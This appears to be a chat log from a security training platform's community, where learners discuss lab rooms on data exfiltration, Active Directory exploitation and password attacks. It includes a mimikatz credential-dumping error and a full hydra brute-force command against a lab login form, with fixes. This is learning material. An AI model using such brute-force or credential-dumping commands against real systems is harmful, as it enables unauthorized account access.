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Could anyone enlighten me what is the purpose of the ebcdic encoding used in the post compromise data exfiltration part (first method via tcp socket)?

Is it just to make it more unreadable (as it is already base64 encoded) or it is actually serving any purpose I am missing?

It is never used in any other method after this.

inland dagger
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hello everyone! i had a problem with enumerating ad room and breaching ad room, the urls of the mission page seems to be hijacked and always redirect me to a phishing page. Does anyone know what's going on?

spare depot
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!docs verify

wind boneBOT
foggy compass
spare depot
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Which room is this please?

vast quest
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Going to assume password attacks.

minor garnet
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Hi and hello

spare depot
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Hello

ebon path
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In the task3 task of Exploiting Active Directory room, after I used mimikatz's lsadump::secrets command, an ERROR kuhl_m_lsadump_secretsOrCache; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005) error occurred. Can the staff reset the room?

meager shell
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What the hell happens with this command: "$ hydra -l burgess -P burgess.lst 10.10.108.214 http-post-form "/login-post/index.php:username=burgess&password=^PASS^:-F=Incorrect" -f
"? Every time I run it the output is a different password.
And it doesn't work on the login page.

spare depot
meager shell
spare depot
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Aside from removing -, you can also remove -F= and still have the command work.